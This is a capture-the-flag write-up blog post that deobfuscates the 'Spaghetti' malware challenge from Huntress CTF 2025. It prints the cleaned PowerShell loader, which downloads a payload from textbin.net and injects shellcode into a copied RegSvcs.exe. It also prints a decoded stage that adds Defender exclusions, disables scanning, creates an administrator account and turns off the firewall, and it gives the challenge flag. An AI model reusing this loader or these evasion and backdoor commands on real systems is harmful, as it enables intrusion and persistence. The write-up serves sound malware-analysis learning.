# Spaghetti - CTF challenge

huntress CTF 2025 1 / 5
3 min read
ctf huntressCTF huntressCTF 2025 2025 malware powershell
Table of Contents

Challenge informations

  • Name: Spaghetti
  • Category: 🐞 Malware

The walkthrough

We are presented with two files: spaghetti, a PowerShell script, and AYGIW.tmp, which contains what looks like an obfuscated payload.

Step 1 — Removing comments

The PowerShell script was filled with comments. I removed them all using VSCode’s regex search and replace with the pattern:

^#.*

Step 2 — Removing junk math operations

After removing the comments we are left with a lot of useless mathematical operations that evaluate to nothing. After stripping those out, the actual executed logic becomes clear:

Terminal window
function Toggle-IPConfig {
    param (
        [Parameter(Mandatory=$true)]
        [bool]$State
    )


    if ($State) {
        ipconfig /release
    } else {
        ipconfig /renew
    }
}


Function FonatozQZ($monoTXtak) {
    $byTZlist = [System.Collections.Generic.List[Byte]]::new()
    for ($i = 0; $i -lt $monoTXtak.Length; $i +=8) {
        $byTZlist.Add([Convert]::ToByte([String] $monoTXtak.Substring($i, 8), 2))
    }
    return [System.Text.Encoding]::ASCII.GetString($byTZlist.ToArray())
}


Function HombaAmigo([String] $IN) {
    $RunRBTX1 = $IN.Replace('~','000').Replace('%','4')
    $bytes = New-Object -TypeName byte[] -ArgumentList ($RunRBTX1.Length / 2)
    for ($i = 0; $i -lt $RunRBTX1.Length; $i += 2) {
        $bytes[$i / 2] = [Convert]::ToByte($RunRBTX1.Substring($i, 2), 16)
    }
    return [byte[]]$bytes
}


$currentDirectory = Get-Location
$fileName = "AYGIW.tmp"
$filePath = Join-Path -Path $currentDirectory -ChildPath $fileName
$MainFileSettings = Get-Content -Path $filePath
$url = "https://textbin.net/raw/jktip2kh0u"
$response = Invoke-WebRequest -Uri $url
$fileContents = $response.Content
$RunRBTX1 = $fileContents
$newTempFolder = $env:temp
$newDestination = $newTempFolder + "\RegSvcs.exe"
$newSourcePath  = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
Copy-Item $newSourcePath -Destination $newDestination
Toggle-IPConfig -State $true   # To release IP


try {
    [byte[]]$WULC4 = HombaAmigo($MainFileSettings.replace('WT','00'))
    [byte[]]$YIV4Z = HombaAmigo($RunRBTX1)
    $OKM4 = (FonatozQZ("%1%%%1%1%1111%%%%11%%1%1%11%%%11%111%1%1%111%1%%%11%%1%1".Replace('%','0')))
    $x1ct = (FonatozQZ("0%00%00%0%%0%%%00%%%0%%00%%0%%%%0%%0%0%%0%%00%0%".Replace('%','1')))
    $Path   = $newDestination


    try {
        $ncr3 = [Ref].Assembly
        $ncrx3 = $ncr3::Load(($YIV4Z))
        $TXN4Z = MyFunciton($ncrx3);
        $MG5X = $TXN4Z.'GetMethod'($OKM4);
    } catch { }


    try {
        $MG5X.$x1ct($null,[object[]] ($Path.Replace("%%",""),$WULC4));
        $MyOasis4 = (FonatozQZ("<combination of % and ~>"))
        $MyOasis4 | Invoke-Expression
        $TDefo = (FonatozQZ("<combination of % and ~>"))
        $TDefo | Invoke-Expression
    } catch { }
} catch { }


start-sleep 3
Toggle-IPConfig -State $false  # To renew IP

Step 3 — Tracing the execution

The script:

  1. Reads AYGIW.tmp (the encoded shellcode payload) and fetches an additional payload from textbin.net
  2. Decodes both using HombaAmigo (hex decode with character substitutions) and FonatozQZ (binary string to ASCII)
  3. Copies RegSvcs.exe from the .NET framework directory to %TEMP%
  4. Loads the fetched content as a .NET assembly and calls methods on it to inject the shellcode into RegSvcs.exe
  5. Evaluates two decoded strings via Invoke-Expression

Step 4 — Recovering the decoded strings

By taking parts of the script and running them in the PowerShell console to log intermediate values, I decoded the $TDefo variable which contained a Windows Defender exclusion configuration script:

Terminal window
Add-MpPreference -ExclusionExtension ".bat"
Add-MpPreference -ExclusionExtension ".exe"
Add-MpPreference -ExclusionExtension ".vbs"
Add-MpPreference -ExclusionExtension ".js"
Add-MpPreference -ExclusionPath  C:\
Add-MpPreference -ExclusionPath  C:\ProgramData\MEMEMAN\
# Add-MpPreference -ExclusionExtension "flag{60814731f508781b9a5f8636c817af9d}"
Add-MpPreference -ExclusionProcess explorer.exe
Add-MpPreference -ExclusionProcess powershell.exe
Add-MpPreference -ExclusionProcess cmd.exe
Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true
# ... (Windows Defender disable commands)
net user System32 /add
net localgroup administrators System32 /add
netsh advfirewall set allprofiles state off

The flag was hidden as a comment inside the Defender exclusion list:

flag{60814731f508781b9a5f8636c817af9d}
Next: Verify you are human - CTF challenge

Thanks for reading my blog post! Feel free to check out my other posts!

huntress CTF 2025 Series